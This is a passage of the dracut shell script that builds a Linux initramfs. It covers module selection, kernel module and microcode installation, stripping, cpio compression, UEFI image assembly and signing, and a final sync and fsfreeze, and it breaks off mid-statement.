systemdsystemunitdir=$(pkg-config systemd --variable=systemdsystemunitdir 2> /dev/null) [[ -d "$dracutsysrootdir$systemdsystemunitdir" ]] || systemdsystemunitdir=${systemdutildir}/system [[ -d $dracutsysrootdir$systemduser ]] \ || systemduser=$(pkg-config systemd --variable=systemduser 2> /dev/null) [[ -d $dracutsysrootdir$systemduser ]] || systemduser=${systemdutildir}/user [[ -d $dracutsysrootdir$systemduserconfdir ]] \ || systemduserconfdir=$(pkg-config systemd --variable=systemduserconfdir 2> /dev/null) [[ -d $dracutsysrootdir$systemduserconfdir ]] || systemduserconfdir=${systemdutilconfdir}/user [[ -d $dracutsysrootdir$systemdsystemconfdir ]] \ || systemdsystemconfdir=$(pkg-config systemd --variable=systemdsystemconfdir 2> /dev/null) [[ -d $dracutsysrootdir$systemdsystemconfdir ]] || systemdsystemconfdir=/etc/systemd/system [[ -d $dracutsysrootdir$sysusers ]] \ || sysusers=$(pkg-config systemd --variable=sysusers 2> /dev/null) [[ -d $dracutsysrootdir$sysusers ]] || sysusers=/usr/lib/sysusers.d [[ -d $dracutsysrootdir$sysusersconfdir ]] \ || sysusersconfdir=$(pkg-config systemd --variable=sysusersconfdir 2> /dev/null) [[ -d $dracutsysrootdir$sysusersconfdir ]] || sysusersconfdir=/etc/sysusers.d [[ -d $dracutsysrootdir$tmpfilesdir ]] \ || tmpfilesdir=$(pkg-config systemd --variable=tmpfilesdir 2> /dev/null) if ! [[ -d $dracutsysrootdir$tmpfilesdir ]]; then [[ -d $dracutsysrootdir/lib/tmpfiles.d ]] && tmpfilesdir=/lib/tmpfiles.d [[ -d $dracutsysrootdir/usr/lib/tmpfiles.d ]] && tmpfilesdir=/usr/lib/tmpfiles.d fi [[ -d $dracutsysrootdir$tmpfilesconfdir ]] \ || tmpfilesconfdir=$(pkg-config systemd --variable=tmpfilesconfdir 2> /dev/null) [[ -d $dracutsysrootdir$tmpfilesconfdir ]] || tmpfilesconfdir=/etc/tmpfiles.d [[ -d $dracutsysrootdir$depmodd ]] \ || depmodd=$(pkg-config libkmod --variable=depmodd 2> /dev/null) [[ -d $dracutsysrootdir$depmodd ]] || depmodd=/usr/lib/depmod.d [[ -d $dracutsysrootdir$depmodconfdir ]] \ || depmodconfdir=$(pkg-config libkmod --variable=depmodconfdir 2> /dev/null) [[ -d $dracutsysrootdir$depmodconfdir ]] || depmodconfdir=/etc/depmod.d export initdir dracutbasedir \ dracutmodules force_add_dracutmodules add_dracutmodules omit_dracutmodules \ mods_to_load \ fw_dir drivers_dir debug no_kernel kernel_only \ omit_drivers mdadmconf lvmconf root_devs \ use_fstab fstab_lines libdirs fscks nofscks ro_mnt \ stdloglvl sysloglvl fileloglvl kmsgloglvl logfile \ debug host_fs_types host_devs swap_devs sshkey add_fstab \ DRACUT_VERSION udevdir udevconfdir udevrulesdir udevrulesconfdir \ prefix filesystems drivers dbus dbusconfdir dbusinterfaces \ dbusinterfacesconfdir dbusservices dbusservicesconfdir dbussession \ dbussessionconfdir dbussystem dbussystemconfdir dbussystemservices \ dbussystemservicesconfdir environment environmentconfdir modulesload \ modulesloadconfdir sysctld sysctlconfdir sysusers sysusersconfdir \ systemdutildir systemdutilconfdir systemdcatalog systemdnetwork \ systemdnetworkconfdir systemdntpunits systemdntpunitsconfdir \ systemdportable systemdportableconfdir systemdsystemunitdir \ systemdsystemconfdir systemduser systemduserconfdir \ hostonly_cmdline loginstall tmpfilesdir tmpfilesconfdir depmodd \ depmodconfdir mods_to_load="" # check all our modules to see if they should be sourced. # This builds a list of modules that we will install next. for_each_module_dir check_module for_each_module_dir check_mount dracut_module_included "fips" && export DRACUT_FIPS_MODE=1 do_print_cmdline() { local -A _mods_to_print for i in $modules_loaded $mods_to_load; do _mods_to_print[$i]=1 done # source our modules. for moddir in "$dracutbasedir/modules.d"/[0-9][0-9]*; do _d_mod=${moddir##*/} _d_mod=${_d_mod#[0-9][0-9]} [[ ${_mods_to_print[$_d_mod]} ]] || continue module_cmdline "$_d_mod" "$moddir" done unset moddir } if [[ $print_cmdline ]]; then do_print_cmdline printf "\n" exit 0 fi # Create some directory structure first # shellcheck disable=SC2174 [[ $prefix ]] && mkdir -m 0755 -p "${initdir}${prefix}" # shellcheck disable=SC2174 [[ -L $dracutsysrootdir/lib ]] || mkdir -m 0755 -p "${initdir}${prefix}/lib" [[ $prefix ]] && ln -sfn "${prefix#/}/lib" "$initdir/lib" if [[ $prefix ]]; then for d in bin etc lib sbin tmp usr var $libdirs; do d=${d#/} [[ $d == */* ]] && continue ln -sfn "${prefix#/}/${d#/}" "$initdir/$d" done fi if [[ $kernel_only != yes ]]; then for d in usr usr/bin usr/sbin bin etc lib sbin tmp var var/tmp $libdirs; do d=${d#/} [[ -e "${initdir}${prefix}/$d" ]] && continue if [ -L "/$d" ]; then inst_symlink "/$d" "${prefix}/$d" else # shellcheck disable=SC2174 mkdir -m 0755 -p "${initdir}${prefix}/$d" fi done for d in dev proc sys sysroot root run; do if [ -L "/$d" ]; then inst_symlink "/$d" else # shellcheck disable=SC2174 mkdir -m 0755 -p "$initdir/$d" fi done ln -sfn ../run "$initdir/var/run" ln -sfn ../run/lock "$initdir/var/lock" else for d in lib "$libdirs"; do [[ -e "${initdir}${prefix}/$d" ]] && continue if [ -h "/$d" ]; then inst "/$d" "${prefix}/$d" else # shellcheck disable=SC2174 mkdir -m 0755 -p "${initdir}${prefix}/$d" fi done fi if [[ $kernel_only != yes ]]; then mkdir -p "${initdir}/etc/cmdline.d" # shellcheck disable=SC2174 mkdir -m 0755 -p "${initdir}"/lib "${initdir}"/lib/dracut "${initdir}"/lib/dracut/hooks # shellcheck disable=SC2154 for _d in $hookdirs; do # shellcheck disable=SC2174 mkdir -m 0755 -p "${initdir}/lib/dracut/hooks/$_d" done if [[ $EUID == "0" ]] && ! [[ $DRACUT_NO_MKNOD ]]; then [[ -c ${initdir}/dev/null ]] || mknod "${initdir}"/dev/null c 1 3 [[ -c ${initdir}/dev/kmsg ]] || mknod "${initdir}"/dev/kmsg c 1 11 [[ -c ${initdir}/dev/console ]] || mknod "${initdir}"/dev/console c 5 1 [[ -c ${initdir}/dev/random ]] || mknod "${initdir}"/dev/random c 1 8 [[ -c ${initdir}/dev/urandom ]] || mknod "${initdir}"/dev/urandom c 1 9 fi fi _isize=0 #initramfs size modules_loaded=" " # source our modules. for moddir in "$dracutbasedir/modules.d"/[0-9][0-9]*; do _d_mod=${moddir##*/} _d_mod=${_d_mod#[0-9][0-9]} [[ $mods_to_load == *\ $_d_mod\ * ]] || continue if [[ $show_modules == yes ]]; then printf "%s\n" "$_d_mod" else dinfo "*** Including module: $_d_mod ***" fi if [[ $kernel_only == yes ]]; then module_installkernel "$_d_mod" "$moddir" || { dfatal "installkernel failed in module $_d_mod" exit 1 } else module_install "$_d_mod" "$moddir" if [[ $no_kernel != yes ]]; then module_installkernel "$_d_mod" "$moddir" || { dfatal "installkernel failed in module $_d_mod" exit 1 } fi fi mods_to_load=${mods_to_load// $_d_mod /} modules_loaded+="$_d_mod " #print the module install size if [ -n "$printsize" ]; then _isize_new=$(du -sk "${initdir}" | { read -r a _ echo -n "$a" }) _isize_delta=$((_isize_new - _isize)) printf "%s\n" "$_d_mod install size: ${_isize_delta}k" _isize=$_isize_new fi done unset moddir for i in $modules_loaded; do mkdir -p "$initdir"/lib/dracut printf "%s\n" "$i" >> "$initdir"/lib/dracut/modules.txt done dinfo "*** Including modules done ***" ## final stuff that has to happen if [[ $no_kernel != yes ]]; then if [[ $hostonly_mode == "strict" ]]; then cp "$DRACUT_KERNEL_MODALIASES" "$initdir"/lib/dracut/hostonly-kernel-modules.txt fi if [[ $drivers ]]; then # shellcheck disable=SC2086 hostonly='' instmods $drivers fi if [[ -n ${add_drivers// /} ]]; then # shellcheck disable=SC2086 hostonly='' instmods -c $add_drivers fi if [[ $force_drivers ]]; then # shellcheck disable=SC2086 hostonly='' instmods -c $force_drivers rm -f "$initdir"/etc/cmdline.d/20-force_driver.conf for mod in $force_drivers; do echo "rd.driver.pre=$mod" >> "$initdir"/etc/cmdline.d/20-force_drivers.conf done fi if [[ $filesystems ]]; then # shellcheck disable=SC2086 hostonly='' instmods -c $filesystems fi dinfo "*** Installing kernel module dependencies ***" dracut_kernel_post dinfo "*** Installing kernel module dependencies done ***" if [[ $noimageifnotneeded == yes ]] && [[ $hostonly ]]; then if [[ ! -f "$initdir/lib/dracut/need-initqueue" ]] \ && [[ -f ${initdir}/lib/modules/$kernel/modules.dep && ! -s ${initdir}/lib/modules/$kernel/modules.dep ]]; then for i in "${initdir}"/etc/cmdline.d/*.conf; do # We need no initramfs image and do not generate one. [[ $i == "${initdir}/etc/cmdline.d/*.conf" ]] && exit 0 done fi fi fi if [[ $kernel_only != yes ]]; then # FIXME: handle legacy item split # shellcheck disable=SC2068 ((${#install_items[@]} > 0)) && inst_multiple ${install_items[@]} # shellcheck disable=SC2068 ((${#install_optional_items[@]} > 0)) && inst_multiple -o ${install_optional_items[@]} if [[ $kernel_cmdline ]] && [[ $uefi != yes ]]; then printf "%s\n" "$kernel_cmdline" >> "${initdir}/etc/cmdline.d/01-default.conf" fi for line in "${fstab_lines[@]}"; do read -r -a fstab_field <<< "$line" if [ -z "${fstab_field[1]}" ]; then # Determine device and mount options from current system mountpoint -q "${fstab_field[0]}" || derror "${fstab_field[0]} is not a mount point!" read -r -a fstab_field < <(findmnt --raw -n --target "${fstab_field[0]}" --output=source,target,fstype,options) dinfo "Line for ${fstab_field[1]}: ${fstab_field[*]}" else # Use default options [ -z "${fstab_field[3]}" ] && fstab_field[3]="defaults" fi # Default options for freq and passno [ -z "${fstab_field[4]}" ] && fstab_field[4]="0" [ -z "${fstab_field[5]}" ] && fstab_field[5]="2" strstr "${fstab_field[2]}" "nfs" && fstab_field[5]="0" echo "${fstab_field[@]}" >> "${initdir}/etc/fstab" done for f in $add_fstab; do cat "$f" >> "${initdir}/etc/fstab" done if [[ $dracutsysrootdir$systemdutildir ]]; then if [[ -d ${initdir}/$systemdutildir ]]; then mkdir -p "${initdir}"/etc/conf.d { printf "%s\n" "systemdutildir=\"$systemdutildir\"" printf "%s\n" "systemdsystemunitdir=\"$systemdsystemunitdir\"" printf "%s\n" "systemdsystemconfdir=\"$systemdsystemconfdir\"" } > "${initdir}"/etc/conf.d/systemd.conf fi fi if [[ $DRACUT_RESOLVE_LAZY ]] && [[ $DRACUT_INSTALL ]]; then dinfo "*** Resolving executable dependencies ***" find "$initdir" -type f -perm /0111 -not -path '*.ko' -print0 \ | xargs -r -0 "$DRACUT_INSTALL" ${initdir:+-D "$initdir"} ${dracutsysrootdir:+-r "$dracutsysrootdir"} -R ${DRACUT_FIPS_MODE:+-f} -- dinfo "*** Resolving executable dependencies done ***" fi # Now we are done with lazy resolving, always install dependencies unset DRACUT_RESOLVE_LAZY export DRACUT_RESOLVE_DEPS=1 fi for ((i = 0; i < ${#include_src[@]}; i++)); do src="${include_src[$i]}" target="${include_target[$i]}" if [[ $src && $target ]]; then if [[ -f $src ]]; then inst "$src" "$target" elif [[ -d $src ]]; then ddebug "Including directory: $src" destdir="${initdir}/${target}" mkdir -p "$destdir" # check for preexisting symlinks, so we can cope with the # symlinks to $prefix # Objectname is a file or a directory reset_dotglob="$(shopt -p dotglob)" shopt -q -s dotglob for objectname in "$src"/*; do [[ -e $objectname || -L $objectname ]] || continue if [[ -d $objectname ]] && [[ ! -L $objectname ]]; then # objectname is a directory, let's compute the final directory name object_destdir=${destdir}/${objectname#$src/} if ! [[ -e $object_destdir ]]; then # shellcheck disable=SC2174 mkdir -m 0755 -p "$object_destdir" chmod --reference="$objectname" "$object_destdir" fi $DRACUT_CP -t "$object_destdir" "$dracutsysrootdir$objectname"/. else $DRACUT_CP -t "$destdir" "$dracutsysrootdir$objectname" fi done eval "$reset_dotglob" elif [[ -e $src ]]; then derror "$src is neither a directory nor a regular file" else derror "$src doesn't exist" fi fi done if [[ $do_hardlink == yes ]] && command -v hardlink > /dev/null; then dinfo "*** Hardlinking files ***" hardlink "$initdir" 2>&1 | dinfo dinfo "*** Hardlinking files done ***" fi # strip binaries if [[ $do_strip == yes ]]; then # Prefer strip from elfutils for package size declare strip_cmd strip_cmd=$(command -v eu-strip) [ -z "$strip_cmd" ] && strip_cmd="strip" for p in $strip_cmd xargs find; do if ! type -P $p > /dev/null; then dinfo "Could not find '$p'. Not stripping the initramfs." do_strip=no fi done if [[ $aggresive_strip == yes ]]; then # `eu-strip` and `strip` both strips all unneeded parts by default strip_args=(-p) else strip_args=(-g -p) fi fi # cleanup empty ldconfig_paths directories for d in $(ldconfig_paths); do rmdir -p --ignore-fail-on-non-empty "$initdir/$d" > /dev/null 2>&1 done if [[ $early_microcode == yes ]]; then dinfo "*** Generating early-microcode cpio image ***" ucode_dir=(amd-ucode intel-ucode) ucode_dest=(AuthenticAMD.bin GenuineIntel.bin) _dest_dir="$early_cpio_dir/d/kernel/x86/microcode" _dest_idx="0 1" mkdir -p "$_dest_dir" if [[ $hostonly ]]; then [[ $(get_cpu_vendor) == "AMD" ]] && _dest_idx="0" [[ $(get_cpu_vendor) == "Intel" ]] && _dest_idx="1" fi for idx in $_dest_idx; do _fw=${ucode_dir[$idx]} for _fwdir in $fw_dir; do if [[ -d $_fwdir && -d $_fwdir/$_fw ]]; then _src="*" dinfo "*** Constructing ${ucode_dest[$idx]} ***" if [[ $hostonly ]]; then _src=$(get_ucode_file) [[ $_src ]] || break [[ -r $_fwdir/$_fw/$_src ]] || _src="${_src}.early" [[ -r $_fwdir/$_fw/$_src ]] || break fi for i in $_fwdir/$_fw/$_src; do [ -e "$i" ] && break break 2 done for i in $_fwdir/$_fw/$_src; do [[ -e $i ]] || continue # skip gpg files str_ends "$i" ".asc" && continue cat "$i" >> "$_dest_dir/${ucode_dest[$idx]}" done create_early_cpio="yes" fi done if [[ ! -e "$_dest_dir/${ucode_dest[$idx]}" ]]; then if cd "$early_cpio_dir/d"; then for _ucodedir in "${early_microcode_image_dir[@]}"; do for _ucodename in "${early_microcode_image_name[@]}"; do [[ -e "$_ucodedir/$_ucodename" ]] \ && cpio --extract --file "$_ucodedir/$_ucodename" --quiet \ "kernel/x86/microcode/${ucode_dest[$idx]}" if [[ -e "$_dest_dir/${ucode_dest[$idx]}" ]]; then dinfo "*** Using microcode found in '$_ucodedir/$_ucodename' ***" create_early_cpio="yes" break 2 fi done done fi fi done fi if [[ $acpi_override == yes ]] && [[ -d $acpi_table_dir ]]; then dinfo "*** Packaging ACPI tables to override BIOS provided ones ***" _dest_dir="$early_cpio_dir/d/kernel/firmware/acpi" mkdir -p "$_dest_dir" for table in "$acpi_table_dir"/*.aml; do dinfo " Adding ACPI table: $table" $DRACUT_CP "$table" "$_dest_dir" create_early_cpio="yes" done fi dinfo "*** Store current command line parameters ***" if ! (echo "$PARMS_TO_STORE" > "$initdir"/lib/dracut/build-parameter.txt); then dfatal "Could not store the current command line parameters" exit 1 fi if [[ $hostonly_cmdline == "yes" ]]; then unset _stored_cmdline if [[ -d $initdir/etc/cmdline.d ]]; then dinfo "Stored kernel commandline:" for conf in "$initdir"/etc/cmdline.d/*.conf; do [ -e "$conf" ] || continue dinfo "$(< "$conf")" _stored_cmdline=1 done fi if ! [[ $_stored_cmdline ]]; then dinfo "No dracut internal kernel commandline stored in the initramfs" fi fi if [[ $kernel_only != yes ]]; then # libpthread workaround: pthread_cancel wants to dlopen libgcc_s.so for _dir in $libdirs; do for _f in "$dracutsysrootdir$_dir/libpthread.so"*; do [[ -e $_f ]] || continue inst_libdir_file "libgcc_s.so*" break 2 done done # FIPS workaround for Fedora/RHEL: libcrypto needs libssl when FIPS is enabled if [[ $DRACUT_FIPS_MODE ]]; then for _dir in $libdirs; do for _f in "$dracutsysrootdir$_dir/libcrypto.so"*; do [[ -e $_f ]] || continue inst_libdir_file -o "libssl.so*" break 2 done done fi fi if [[ $kernel_only != yes ]]; then # make sure that library links are correct and up to date build_ld_cache fi if dracut_module_included "squash"; then readonly squash_dir="$initdir/squash/root" readonly squash_img="$initdir/squash-root.img" mkdir -p "$squash_dir" dinfo "*** Install squash loader ***" DRACUT_SQUASH_POST_INST=1 module_install "squash" fi if [[ $do_strip == yes ]] && ! [[ $DRACUT_FIPS_MODE ]]; then # stripping files negates (dedup) benefits of using reflink [[ -n $enhanced_cpio ]] && ddebug "strip is enabled alongside cpio reflink" dinfo "*** Stripping files ***" find "$initdir" -type f \ -executable -not -path '*/lib/modules/*.ko' -print0 \ | xargs -r -0 $strip_cmd "${strip_args[@]}" 2> /dev/null # strip kernel modules, but do not touch signed modules find "$initdir" -type f -path '*/lib/modules/*.ko' -print0 \ | while read -r -d $'\0' f || [ -n "$f" ]; do SIG=$(tail -c 28 "$f" | tr -d '\000') [[ $SIG == '~Module signature appended~' ]] || { printf "%s\000" "$f"; } done | xargs -r -0 $strip_cmd "${strip_args[@]}" dinfo "*** Stripping files done ***" fi if dracut_module_included "squash"; then dinfo "*** Squashing the files inside the initramfs ***" declare squash_compress_arg # shellcheck disable=SC2086 if [[ $squash_compress ]]; then if ! mksquashfs /dev/null "$DRACUT_TMPDIR"/.squash-test.img -no-progress -comp $squash_compress &> /dev/null; then dwarn "mksquashfs doesn't support compressor '$squash_compress', failing back to default compressor." else squash_compress_arg="$squash_compress" fi fi # shellcheck disable=SC2086 if ! mksquashfs "$squash_dir" "$squash_img" \ -no-xattrs -no-exports -noappend -no-recovery -always-use-fragments \ -no-progress ${squash_compress_arg:+-comp $squash_compress_arg} 1> /dev/null; then dfatal "dracut: Failed making squash image" exit 1 fi rm -rf "$squash_dir" dinfo "*** Squashing the files inside the initramfs done ***" # Skip initramfs compress compress="cat" fi dinfo "*** Creating image file '$outfile' ***" if [[ $uefi == yes ]]; then readonly uefi_outdir="$DRACUT_TMPDIR/uefi" mkdir -p "$uefi_outdir" fi if [[ $DRACUT_REPRODUCIBLE ]]; then find "$initdir" -newer "$dracutbasedir/dracut-functions.sh" -print0 \ | xargs -r -0 touch -h -m -c -r "$dracutbasedir/dracut-functions.sh" if [[ "$(cpio --help)" == *--reproducible* ]]; then CPIO_REPRODUCIBLE=1 else dinfo "cpio does not support '--reproducible'. Resulting image will not be reproducible." fi fi [[ $EUID != 0 ]] && cpio_owner="0:0" if [[ $create_early_cpio == yes ]]; then echo 1 > "$early_cpio_dir/d/early_cpio" if [[ $DRACUT_REPRODUCIBLE ]]; then find "$early_cpio_dir/d" -newer "$dracutbasedir/dracut-functions.sh" -print0 \ | xargs -r -0 touch -h -m -c -r "$dracutbasedir/dracut-functions.sh" fi # The microcode blob is _before_ the initramfs blob, not after if [[ -n $enhanced_cpio ]]; then if ! ( umask 077 cd "$early_cpio_dir/d" find . -print0 | sort -z \ | $enhanced_cpio --null ${cpio_owner:+--owner "$cpio_owner"} \ --mtime 0 --data-align "$cpio_align" --truncate-existing \ "${DRACUT_TMPDIR}/initramfs.img" ); then dfatal "dracut-cpio: creation of $outfile failed" exit 1 fi else if ! ( umask 077 cd "$early_cpio_dir/d" find . -print0 | sort -z \ | cpio ${CPIO_REPRODUCIBLE:+--reproducible} --null \ ${cpio_owner:+-R "$cpio_owner"} -H newc -o --quiet > "${DRACUT_TMPDIR}/initramfs.img" ); then dfatal "dracut: creation of $outfile failed" exit 1 fi fi fi if check_kernel_config CONFIG_RD_ZSTD; then DRACUT_KERNEL_RD_ZSTD=yes else DRACUT_KERNEL_RD_ZSTD= fi if [[ $compress == $DRACUT_COMPRESS_ZSTD* && ! $DRACUT_KERNEL_RD_ZSTD ]]; then dwarn "dracut: kernel has no zstd support compiled in." compress= fi if [[ $compress && $compress != cat ]]; then if ! command -v "${compress%% *}" &> /dev/null; then derror "dracut: cannot execute compression command '$compress', falling back to default" compress= fi fi if ! [[ $compress ]]; then # check all known compressors, if none specified for i in $DRACUT_COMPRESS_PIGZ $DRACUT_COMPRESS_GZIP $DRACUT_COMPRESS_LZ4 $DRACUT_COMPRESS_LZOP $DRACUT_COMPRESS_ZSTD $DRACUT_COMPRESS_LZMA $DRACUT_COMPRESS_XZ $DRACUT_COMPRESS_LBZIP2 $DRACUT_COMPRESS_BZIP2 $DRACUT_COMPRESS_CAT; do [[ $i != "$DRACUT_COMPRESS_ZSTD" || $DRACUT_KERNEL_RD_ZSTD ]] || continue command -v "$i" &> /dev/null || continue compress="$i" break done if [[ $compress == cat ]]; then dwarn "dracut: no compression tool available. Initramfs image is going to be big." else dinfo "dracut: using auto-determined compression method '$compress'" fi fi # choose the right arguments for the compressor case $compress in bzip2 | lbzip2) if [[ $compress == lbzip2 ]] || command -v "$DRACUT_COMPRESS_LBZIP2" &> /dev/null; then compress="$DRACUT_COMPRESS_LBZIP2 -9" else compress="$DRACUT_COMPRESS_BZIP2 -9" fi ;; lzma) compress="$DRACUT_COMPRESS_LZMA -9 -T0" ;; xz) compress="$DRACUT_COMPRESS_XZ --check=crc32 --lzma2=dict=1MiB -T0" ;; gzip | pigz) if [[ $compress == pigz ]] || command -v "$DRACUT_COMPRESS_PIGZ" &> /dev/null; then compress="$DRACUT_COMPRESS_PIGZ -9 -n -T -R" elif command -v gzip &> /dev/null && $DRACUT_COMPRESS_GZIP --help 2>&1 | grep -q rsyncable; then compress="$DRACUT_COMPRESS_GZIP -n -9 --rsyncable" else compress="$DRACUT_COMPRESS_GZIP -n -9" fi ;; lzo | lzop) compress="$DRACUT_COMPRESS_LZOP -9" ;; lz4) compress="$DRACUT_COMPRESS_LZ4 -l -9" ;; zstd) compress="$DRACUT_COMPRESS_ZSTD -15 -q -T0" ;; esac if [[ -n $enhanced_cpio ]]; then if [[ $compress == "cat" ]]; then # dracut-cpio appends by default, so any ucode remains cpio_outfile="${DRACUT_TMPDIR}/initramfs.img" else ddebug "$compress compression enabled alongside cpio reflink" # dracut-cpio doesn't output to stdout, so stage for compression cpio_outfile="${DRACUT_TMPDIR}/initramfs.img.uncompressed" fi if ! ( umask 077 cd "$initdir" find . -print0 | sort -z \ | $enhanced_cpio --null ${cpio_owner:+--owner "$cpio_owner"} \ --mtime 0 --data-align "$cpio_align" "$cpio_outfile" || exit 1 [[ $compress == "cat" ]] && exit 0 $compress < "$cpio_outfile" >> "${DRACUT_TMPDIR}/initramfs.img" \ && rm "$cpio_outfile" ); then dfatal "dracut-cpio: creation of $outfile failed" exit 1 fi unset cpio_outfile else if ! ( umask 077 cd "$initdir" find . -print0 | sort -z \ | cpio ${CPIO_REPRODUCIBLE:+--reproducible} --null ${cpio_owner:+-R "$cpio_owner"} -H newc -o --quiet \ | $compress >> "${DRACUT_TMPDIR}/initramfs.img" ); then dfatal "dracut: creation of $outfile failed" exit 1 fi fi # shellcheck disable=SC2154 if ((maxloglvl >= 5)) && ((verbosity_mod_l >= 0)); then if [[ $allowlocal ]]; then "$dracutbasedir/lsinitrd.sh" "${DRACUT_TMPDIR}/initramfs.img" | ddebug else lsinitrd "${DRACUT_TMPDIR}/initramfs.img" | ddebug fi fi umask 077 SBAT_DEFAULT="sbat,1,SBAT Version,sbat,1,https://github.com/rhboot/shim/blob/main/SBAT.md" sbat_out=$uefi_outdir/uki.sbat clean_sbat_string() { local inp=$1 local temp=$uefi_outdir/temp.sbat sed "/${SBAT_DEFAULT//\//\\/}/d" "$inp" > "$temp" [[ -s $temp ]] && cat "$temp" >> "$sbat_out" rm "$temp" } get_sbat_string() { local inp=$1 local out=$uefi_outdir/$2 objcopy -O binary --only-section=.sbat "$inp" "$out" clean_sbat_string "$out" } if [[ $uefi == yes ]]; then if [[ $kernel_cmdline ]]; then echo -n "$kernel_cmdline" > "$uefi_outdir/cmdline.txt" elif [[ $hostonly_cmdline == yes ]] && [ -d "$initdir/etc/cmdline.d" ]; then for conf in "$initdir"/etc/cmdline.d/*.conf; do [ -e "$conf" ] || continue printf "%s " "$(< "$conf")" >> "$uefi_outdir/cmdline.txt" done fi # shellcheck disable=SC1004 offs=$(objdump -h "$uefi_stub" 2> /dev/null | gawk 'NF==7 {size=strtonum("0x"$3);\ offset=strtonum("0x"$4)} END {print size + offset}') if [[ $offs -eq 0 ]]; then dfatal "Failed to get the size of $uefi_stub to create UEFI image file" exit 1 fi align=$(pe_get_section_align "$uefi_stub") if [[ $? -eq 1 ]]; then dfatal "Failed to get the SectionAlignment of the stub PE header to create the UEFI image file" exit 1 fi offs=$((offs + "$align" - offs % "$align")) [[ -s $dracutsysrootdir/usr/lib/os-release ]] && uefi_osrelease="$dracutsysrootdir/usr/lib/os-release" [[ -s $dracutsysrootdir/etc/os-release ]] && uefi_osrelease="$dracutsysrootdir/etc/os-release" [[ -s $uefi_osrelease ]] \ && uefi_osrelease_offs=${offs} \ && offs=$((offs + $(stat -Lc%s "$uefi_osrelease"))) \ && offs=$((offs + "$align" - offs % "$align")) if [[ $kernel_cmdline ]] || [[ $hostonly_cmdline == yes && -d "$initdir/etc/cmdline.d" ]]; then echo -ne "\x00" >> "$uefi_outdir/cmdline.txt" dinfo "Using UEFI kernel cmdline:" dinfo "$(tr -d '\000' < "$uefi_outdir/cmdline.txt")" uefi_cmdline="${uefi_outdir}/cmdline.txt" uefi_cmdline_offs=${offs} offs=$((offs + $(stat -Lc%s "$uefi_cmdline"))) offs=$((offs + "$align" - offs % "$align")) else unset uefi_cmdline fi if [[ -s ${dracutsysrootdir}${uefi_splash_image} ]]; then uefi_splash_image="${dracutsysrootdir}${uefi_splash_image}" uefi_splash_offs=${offs} offs=$((offs + $(stat -Lc%s "$uefi_splash_image"))) offs=$((offs + "$align" - offs % "$align")) else unset uefi_splash_image fi echo "$SBAT_DEFAULT" > "$sbat_out" if [[ -n $sbat ]]; then echo "$sbat" | sed "/${SBAT_DEFAULT//\//\\/}/d" >> "$sbat_out" fi get_sbat_string "$kernel_image" kernel.sbat get_sbat_string "$uefi_stub" stub.sbat uefi_sbat_offs="${offs}" offs=$((offs + $(stat -Lc%s "$sbat_out"))) offs=$((offs + "$align" - offs % "$align")) uefi_linux_offs="${offs}" offs=$((offs + $(stat -Lc%s "$kernel_image"))) offs=$((offs + "$align" - offs % "$align")) uefi_initrd_offs="${offs}" base_image=$(pe_get_image_base "$uefi_stub") if [[ $? -eq 1 ]]; then dfatal "Failed to get ImageBase data of $uefi_stub to create UEFI image file" exit 1 fi tmp_uefi_stub=$uefi_outdir/elf.stub cp "$uefi_stub" "$tmp_uefi_stub" objcopy --remove-section .sbat "$tmp_uefi_stub" &> /dev/null if objcopy \ ${uefi_osrelease:+--add-section .osrel="$uefi_osrelease" --change-section-vma .osrel=$(printf 0x%x "$uefi_osrelease_offs")} \ ${uefi_cmdline:+--add-section .cmdline="$uefi_cmdline" --change-section-vma .cmdline=$(printf 0x%x "$uefi_cmdline_offs")} \ ${uefi_splash_image:+--add-section .splash="$uefi_splash_image" --change-section-vma .splash=$(printf 0x%x "$uefi_splash_offs")} \ --add-section .sbat="$sbat_out" --change-section-vma .sbat="$(printf 0x%x "$uefi_sbat_offs")" \ --add-section .linux="$kernel_image" --change-section-vma .linux="$(printf 0x%x "$uefi_linux_offs")" \ --add-section .initrd="${DRACUT_TMPDIR}/initramfs.img" --change-section-vma .initrd="$(printf 0x%x "$uefi_initrd_offs")" \ --image-base="$(printf 0x%x "$base_image")" \ "$tmp_uefi_stub" "${uefi_outdir}/linux.efi"; then if [[ -n ${uefi_secureboot_key} && -n ${uefi_secureboot_cert} ]]; then if sbsign \ --key "${uefi_secureboot_key}" \ --cert "${uefi_secureboot_cert}" \ --output "$outfile" "${uefi_outdir}/linux.efi"; then dinfo "*** Creating signed UEFI image file '$outfile' done ***" else dfatal "*** Creating signed UEFI image file '$outfile' failed ***" exit 1 fi else if cp --reflink=auto "${uefi_outdir}/linux.efi" "$outfile"; then dinfo "*** Creating UEFI image file '$outfile' done ***" fi fi else rm -f -- "$outfile" dfatal "*** Creating UEFI image file '$outfile' failed ***" exit 1 fi else if cp --reflink=auto "${DRACUT_TMPDIR}/initramfs.img" "$outfile"; then dinfo "*** Creating initramfs image file '$outfile' done ***" else rm -f -- "$outfile" dfatal "dracut: creation of $outfile failed" exit 1 fi fi btrfs_uuid() { btrfs filesystem show "$1" | sed -n '1s/^.*uuid: //p' } freeze_ok_for_btrfs() { local mnt uuid1 uuid2 # If the output file is on btrfs, we need to make sure that it's # not on a subvolume of the same file system as the root FS. # Otherwise, fsfreeze() might freeze the entire system. # This is most conveniently checked by comparing the FS uuid. [[ "$(stat -f -c %T -- "/")" == "btrfs" ]] || return 0 mnt=$(stat -c %m -- "$1") uuid1=$(btrfs_uuid "$mnt") uuid2=$(btrfs_uuid "/") [[ $uuid1 && $uuid2 && $uuid1 != "$uuid2" ]] } freeze_ok_for_fstype() { local outfile=$1 local fstype [[ "$(stat -c %m -- "$outfile")" == "/" ]] && return 1 fstype=$(stat -f -c %T -- "$outfile") case $fstype in msdos) return 1 ;; zfs) return 1 ;; btrfs) freeze_ok_for_btrfs "$outfile" ;; *) return 0 ;; esac } # We sync/fsfreeze only if we're operating on a live booted system. # It's possible for e.g. `kernel` to be installed as an RPM BuildRequires or equivalent, # and there's no reason to sync, and *definitely* no reason to fsfreeze. # Another case where this happens is rpm-ostree, which performs its own sync/fsfreeze # globally. See e.g. https://github.com/ostreedev/ostree/commit/8642ef5ab3fec3ac8eb8f193054852f83a8bc4d0 if [[ -d $dracutsysrootdir/run/systemd/system ]]; then if ! sync "$outfile" 2> /dev/null; then dinfo "dracut: sync operation on newly created initramfs $outfile failed" exit 1 fi # use fsfreeze only if we're not writing to / if [[ "$(stat -c %m -- "$outfile")" != "/" ]] && freeze_ok_for_fstype "$outfile"; then FSFROZEN="$(dirname "$outfile")" if ! (fsfreeze -f "${FSFROZEN}" 2> /dev/null && fsfreeze -u "${FSFROZEN}" 2> /dev/null); then 